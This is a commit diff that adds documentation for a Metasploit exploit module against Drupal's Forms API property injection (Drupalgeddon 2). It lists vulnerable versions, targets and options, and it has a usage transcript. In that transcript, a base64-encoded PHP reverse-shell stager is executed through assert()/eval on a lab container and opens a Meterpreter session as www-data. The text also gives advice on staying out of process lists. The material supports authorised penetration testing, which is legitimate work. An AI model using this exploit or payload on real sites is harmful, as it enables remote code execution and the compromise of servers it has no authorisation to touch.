Add Drupal Drupalgeddon 2

documentation/modules/exploit/unix/webapp/drupal_drupalgeddon2.md

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+## Intro
+
+> This module exploits a Drupal property injection in the Forms API.
+> Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are
+> vulnerable.
+
+## Setup
+
+Use the provided Docker images here: <https://hub.docker.com/_/drupal/>.
+
+Tested on the 7.57 and 8.4.5 tags (versions).
+
+## Targets
+
+```
+Id  Name
+--  ----
+0   Automatic (PHP In-Memory)
+1   Automatic (PHP Dropper)
+2   Automatic (Unix In-Memory)
+3   Automatic (Linux Dropper)
+4   Drupal 7.x (PHP In-Memory)
+5   Drupal 7.x (PHP Dropper)
+6   Drupal 7.x (Unix In-Memory)
+7   Drupal 7.x (Linux Dropper)
+8   Drupal 8.x (PHP In-Memory)
+9   Drupal 8.x (PHP Dropper)
+10  Drupal 8.x (Unix In-Memory)
+11  Drupal 8.x (Linux Dropper)
+```
+
+Automatic targeting means the Drupal version will be detected first.
+Targets with a specific version will do as they're told (regardless of
+what the server is running).
+
+Dropper targets write to disk. In-memory targets don't. Be mindful of
+showing up in someone's process list, though. A dropper might be more
+viable in that regard.
+
+## Options
+
+**TARGETURI**
+
+Set this to the remote path of the vulnerable Drupal install. Defaults
+to `/` for the web root.
+
+**PHP_FUNC**
+
+Set this to the PHP function you'd like to execute. Defaults to
+`passthru`.
+
+**DUMP_OUTPUT**
+
+Enable this if you'd like to see HTTP responses, including command
+output. Defaults to `false` unless `cmd/unix/generic` is your payload.
+
+**VERBOSE**
+
+Enable this to show what function and command were executed. Defaults to
+`false` due to the sometimes excessive output.
+
+**ForceExploit**
+
+Enable this to force exploitation regardless of the check result.
+Defaults to `false`, meaning the check result is respected.
+
+**WritableDir**
+
+Set this to a writable directory without `noexec` for binary payloads.
+Defaults to the current working directory (usually the webapp root).
+
+## Usage
+
+```
+msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
+msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 172.17.0.3
+rhost => 172.17.0.3
+msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set verbose true
+verbose => true
+msf5 exploit(unix/webapp/drupal_drupalgeddon2) > check
+
+[*] Drupal 7.x targeted at http://172.17.0.3/
+[*] Executing with printf(): mGE9am2CAHbvmGg
+[+] 172.17.0.3:80 The target is vulnerable.
+msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
+
+[*] Started reverse TCP handler on 172.17.0.1:4444
+[*] Drupal 7.x targeted at http://172.17.0.3/
+[*] Executing with printf(): HmsPV8tYlEbF
+[*] Executing with assert(): eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE3Mi4xNy4wLjEnOyAkcG9ydCA9IDQ0NDQ7IGlmICgoJGYgPSAnc3RyZWFtX3NvY2tldF9jbGllbnQnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigidGNwOi8veyRpcH06eyRwb3J0fSIpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnZnNvY2tvcGVuJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoJGlwLCAkcG9ydCk7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdzb2NrZXRfY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzLCAkaXAsICRwb3J0KTsgaWYgKCEkcmVzKSB7IGRpZSgpOyB9ICRzX3R5cGUgPSAnc29ja2V0JzsgfSBpZiAoISRzX3R5cGUpIHsgZGllKCdubyBzb2NrZXQgZnVuY3MnKTsgfSBpZiAoISRzKSB7IGRpZSgnbm8gc29ja2V0Jyk7IH0gc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkcywgNCk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOyBicmVhazsgfSBpZiAoISRsZW4pIHsgZGllKCk7IH0gJGEgPSB1bnBhY2soIk5s.ZW4iLCAkbGVuKTsgJGxlbiA9ICRhWydsZW4nXTsgJGIgPSAnJzsgd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkYiAuPSBmcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRiIC49IHNvY2tldF9yZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgfSB9ICRHTE9CQUxTWydtc2dzb2NrJ10gPSAkczsgJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsgaWYgKGV4dGVuc2lvbl9sb2FkZWQoJ3N1aG9zaW4nKSAmJiBpbmlfZ2V0KCdzdWhvc2luLmV4ZWN1dG9yLmRpc2FibGVfZXZhbCcpKSB7ICRzdWhvc2luX2J5cGFzcz1jcmVhdGVfZnVuY3Rpb24oJycsICRiKTsgJHN1aG9zaW5fYnlwYXNzKCk7IH0gZWxzZSB7IGV2YWwoJGIpOyB9IGRpZSgpOw));
+[*] Sending stage (37775 bytes) to 172.17.0.3
+[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.3:43864) at 2018-04-24 03:55:25 -0500
+
+meterpreter > getuid
+Server username: www-data (33)
+meterpreter > sysinfo
+Computer    : b3a405d5568a
+OS          : [redacted]
+Meterpreter : php/linux
+meterpreter >
+```